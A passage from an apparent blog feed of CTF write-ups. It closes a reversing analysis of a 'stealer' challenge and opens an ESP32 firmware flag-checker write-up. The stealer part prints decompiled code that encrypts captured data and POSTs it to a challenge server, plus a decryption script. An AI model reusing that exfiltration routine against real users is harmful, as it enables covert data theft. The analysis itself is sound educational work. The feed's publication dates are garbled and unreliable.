style=\"color:#d88200\"\u003e\u0026#34;meccha-ayashii-server.internal\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x50u\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ehConnect\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#111\"\u003ehRequest\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eWinHttpOpenRequest\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehConnect\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eL\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;POST\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eL\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;/waiwai\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ehRequest\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eWinHttpSendRequest\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehRequest\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eL\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Content-Type: application/octet-stream\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\r\\n\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xFFFFFFFF\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#111\"\u003edwNumberOfBytesWritten\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eWinHttpWriteData\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehRequest\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003edwNumberOfBytesWritten\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edwNumberOfBytesWritten\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea2\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#111\"\u003ev4\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eWinHttpReceiveResponse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehRequest\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ehRequest\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eWinHttpCloseHandle\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehRequest\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ehConnect\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eWinHttpCloseHandle\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehConnect\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ehSession\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eWinHttpCloseHandle\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehSession\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ethis function takes 2 global variables which are data buffer and size (which are used in the handler function too) and sends an http post request as we\u0026rsquo;ve seen in the pcap.\u003c/p\u003e\n\u003ch4 id=\"handler-function\"\u003ehandler function:\u003c/h4\u003e\n\u003cp\u003efollowing the code of the handler function we reach \u003ccode\u003esub_140001100\u003c/code\u003e which is called like this:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75af00\"\u003esub_140001100\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ea1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eunk_140005078\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003edata_sent\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003e__int64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003edata_sent_size\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eyou can check the function decompilation \u003ca href=\"/alpaca-bside-stealerusk/sub_140001100_decomp.c\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003ei guessed that a1 and a2 are data pointer and data size from their signature \u003ccode\u003eUCHAR *a1, ULONG a2\u003c/code\u003e, this function generates a random 0x10 value and uses it as iv and uses the third argument as key then it encrypts the capture data using aes-cbc, and then it puts the result in data_sent with the iv as the first 16 bytes.\u003c/p\u003e\n\u003ch4 id=\"decryption\"\u003edecryption:\u003c/h4\u003e\n\u003cp\u003eknowing this i made the following decryption function in python:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-py\" data-lang=\"py\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eCrypto.Cipher\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eAES\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eCrypto.Util.Padding\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eunpad\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003ewith\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eopen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;./enc\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;rb\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eas\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003edata\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eread\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eiv\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[:\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# iv is the first 0x10 bytes\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003edata\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:]\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# rest is encrypted data\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebytes\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efromhex\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;9Dh, E7h, 5Ch, 29h, B5h, 07, 38h, 71h, 0Dh, 83h, 49h,39h, 73h, FDh, EBh, 9Ch\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ereplace\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;,\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ereplace\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;h\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ereplace\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39; \u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e))\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# the key extracted from ida\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehex\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ecipher\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eAES\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003enew\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eAES\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eMODE_CBC\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiv\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eplaintext\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eunpad\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ecipher\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003edecrypt\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eAES\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eblock_size\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eopen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;dec\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;wb\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ewrite\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eplaintext\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003erunning file on dec we see that it is an image:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ file dec\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edec: JPEG image data, baseline, precision 8, 1280x720, components \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eviewing it gives us the flag:\n\u003cimg\n  src=\"/alpaca-bside-stealerusk/dec.jpeg\"\n  alt=\"flag image\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n","url":"https://nothoudaifa.github.io/posts/alpaca-bside-stealerusk/","date_published":"28066-28-09T60:2828:00+00:00","date_modified":"28066-28-09T60:2828:00+00:00","author":{"name":"nothoudaifa","url":"https://nothoudaifa.github.io/"}},{"id":"13814f35fb8566ee4c614e36541c98bb009c2730","title":"Extensif chall from ECSC 2026 writeup","summary":"","content_text":"you can check the challenge here, difficulty is 1 star.\nTL;DR reversing an esp32 app image that does basic flag checking\nSolve we are given a file extensif.bin running file on it gives us this:\n$ file extensif.bin extensif.bin: ESP-IDF application image for ESP32, project name: \u0026#34;extensif\u0026#34;, version 1, compiled on Mar 24 2026 15:29:16, IDF version: v5.5.1, entry address: 0x400811E8 it is not an elf, googling ESP-IDF i find this github list which contains a lot of resources on esp32 reversing, i spent some time browsing it and trying different stuff until i came up against this ghidra extension, which is used to load esp32 flash dumps, using it i can load extensif.bin successfully into ghidra.\nwhen first loading the binary i find my self in main which is not very helpfull since the main is not of the flag checker rather it is of whatever runs on esp32 when it boots (apparently it\u0026rsquo;s freertos, i grepped for it inside the binary), so to find the user code, i opened Windows-\u0026gt;Defined Strings and searched for the flag format FCSC. i found this: getting the xrefs for this string i find my self at the function that appears to be the main user code\nvoid UndefinedFunction_400d6000(void) { code *pcVar1; undefined *puVar2; undefined *puVar3; int iVar4; int iVar5; char acStack_51 [33]; byte abStack_30 [48]; puVar2 = PTR_s_Bienvenue_400d0698; func_0x400d8590(puVar2); for (iVar5 = 0; iVar5 \u0026lt; 4; iVar5 = iVar5 + 1) { iVar4 = iVar5 * 4; puVar2 = PTR_DAT_400d069c; puVar2[iVar5 * 4] = 0x46; puVar2[iVar4 + 1] = 0x43; puVar2[iVar4 + 2] = 0x53; puVar2[iVar4 + 3] = 0x43; } func_0x400d60e4(); for (iVar5 = 0; iVar5 \u0026lt; 0x10; iVar5 = iVar5 + 1) { puVar3 = PTR_BYTE_400d06a0; puVar2 = PTR_DAT_400d069c; abStack_30[iVar5] = puVar3[iVar5] ^ puVar2[iVar5]; } puVar2 = PTR_s_Entrez_le_flag_(16_chars):_400d06a4; func_0x400d8438(puVar2); iVar5 = func_0x40088434(); pcVar1 = (code *)PTR_fflush_400d06b8; (*pcVar1)(*(undefined4 *)(iVar5 + 8)); iVar5 = func_0x40088434(); iVar5 = func_0x400d8048(acStack_51 + 1,0x20,*(undefined4 *)(iVar5 + 4)); if (iVar5 == 0) { puVar2 = PTR_s_Erreur_de_lecture_400d06a8; // -- (1) func_0x400d8590(puVar2); } else { pcVar1 = (code *)PTR_strlen_400d0660; iVar5 = (*pcVar1)(acStack_51 + 1); if (iVar5 != 0) { if (acStack_51[iVar5] == \u0026#39;\\n\u0026#39;) { acStack_51[iVar5] = \u0026#39;\\0\u0026#39;; iVar5 = iVar5 + -1; } if (iVar5 == 0x10) { pcVar1 = (code *)PTR_memcmp_400d067c; iVar5 = (*pcVar1)(acStack_51 + 1,abStack_30,0x10); if (iVar5 == 0) { func_0x400d8504(10); puVar2 = PTR_DAT_400d06b0; func_0x400d8438(puVar2,acStack_51 + 1); return; } puVar2 = PTR_s_[-]_Essaie_encore_400d06b4; func_0x400d8590(puVar2); return; } } puVar2 = PTR_s_[-]_Longueur_invalide._400d06ac; func_0x400d8590(puVar2); } return; } as you can see, it\u0026rsquo;s pretty bad decompilation, one reason for this is that the architecture of the esp32 Xtensa uses 24 or 16 bit instructions sizes which means you need more than one instruction to assgin an address to registers, so what the compiler does is it puts addresses into nearby memory locations so they can be addressed relatively (got this from here).\nanyway, this program is reading a 0x10 long flag into acStack_51 + 1 and memcmp\u0026rsquo;ing it with abStack_30 so we just need to figure out what\u0026rsquo;s in it, i used error messages to figure out what it\u0026rsquo;s doing for example it\u0026rsquo;s trying to print the message PTR_s_Erreur_de_lecture_400d06a8 which obviously means the function before tries to read input.\nthe program tries to write the xor of PTR_BYTE_400d06a and PTR_DAT_400d069c into abStack_30 in here:\nfor (iVar5 = 0; iVar5 \u0026lt; 0x10; iVar5 = iVar5 + 1) { puVar3 = PTR_BYTE_400d06a0; puVar2 = PTR_DAT_400d069c; abStack_30[iVar5] = puVar3[iVar5] ^ puVar2[iVar5]; } PTR_BYTE_400d06a0 is constant and PTR_DAT_400d069c is set just above it, first it\u0026rsquo;s set to b\u0026rsquo;FCSCFCSCFCSCFCSC\u0026rsquo; using:\nfor (iVar5 = 0; iVar5 \u0026lt; 4; iVar5 = iVar5 + 1) { iVar4 = iVar5 * 4; puVar2 = PTR_DAT_400d069c; puVar2[iVar5 * 4] = 0x46; puVar2[iVar4 + 1] = 0x43; puVar2[iVar4 + 2] = 0x53; puVar2[iVar4 + 3] = 